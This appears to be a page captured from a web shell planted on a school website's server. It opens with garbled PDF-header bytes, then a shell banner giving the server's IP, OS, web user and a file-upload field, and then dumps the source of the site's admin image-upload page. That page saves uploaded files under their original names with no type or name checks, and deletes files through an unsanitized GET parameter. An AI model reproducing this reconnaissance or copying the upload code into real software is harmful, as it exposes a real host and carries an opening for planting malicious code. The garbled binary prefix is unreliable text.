%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/admin/ |
Upload File : |
<?PHP session_start(); if($_SESSION["UserAccess"]=="") { header('Location: index.php'); exit(); } ?> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> <script src="https://cdn.jsdelivr.net/npm/gijgo@1.9.6/js/gijgo.min.js" type="text/javascript"></script> <link href="https://cdn.jsdelivr.net/npm/gijgo@1.9.6/css/gijgo.min.css" rel="stylesheet" type="text/css" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/baguettebox.js/1.10.0/baguetteBox.min.css" /> <link rel="stylesheet" href="grid-gallery.css"> <meta charset="utf-8"> <script> function DeleteFile(FileName) { //alert(FileName); var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { //document.getElementById("txtHint").innerHTML = this.responseText; //alert(this.responseText); document.getElementById(FileName).hidden = true; document.getElementById("1"+FileName).hidden = true; } }; xmlhttp.open("GET", "../activity/upload_images/unlink.php?FileName=" + FileName, true); xmlhttp.send(); } </script> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <div class="jumbotron text-center"> <h1>นำเข้ารูปกิจกรรม</h1> <p>จัดรูปภาพเข้าสู่กิจกรรมที่ท่านได้กำหนดไว้...รูปที่แสดงหน้าหลักควรมีขนาด 1090x730 Pexcils</p> </div> <div class="container"> <div class="row"> <div class="col-8"> <form method='post' action='' enctype='multipart/form-data'> <input type="file" name="file[]" id="file" multiple> <input type='submit' name='submit' value='Upload'> </form> </div> <div class="col-4"> <button type="button" class="btn btn-secondary" onclick="javascript:window.close()">X Close</button> </div> </div> <?php if(isset($_POST['submit'])){ // Count total files $countfiles = count($_FILES['file']['name']); // Looping all files for($i=0;$i<$countfiles;$i++){ $filename = $_FILES['file']['name'][$i]; // Upload file move_uploaded_file($_FILES['file']['tmp_name'][$i],'../activity/upload_images/server/php/files/'.$filename); } echo "<table width='80%'>"; $files = glob('../activity/upload_images/server/php/files/*.{jpg,png,gif}', GLOB_BRACE); foreach($files as $file) { //do your work here $fileName = explode("/",$file); $fileName = $fileName[count($fileName)-1]; echo "<tr alignter='center'><td width='100%' style='text-align:center'><img src='".$file."' width='180' height='100' id='".$fileName."'></td></tr>"; //echo $fileName; echo "<tr><td style='text-align:right'><button class='btn btn-danger' type='button' onclick=\"DeleteFile('".$fileName."')\" id='1".$fileName."'> ** delete ** </button><hr></td></tr>"; } //echo $file; } echo "</table>"; ?>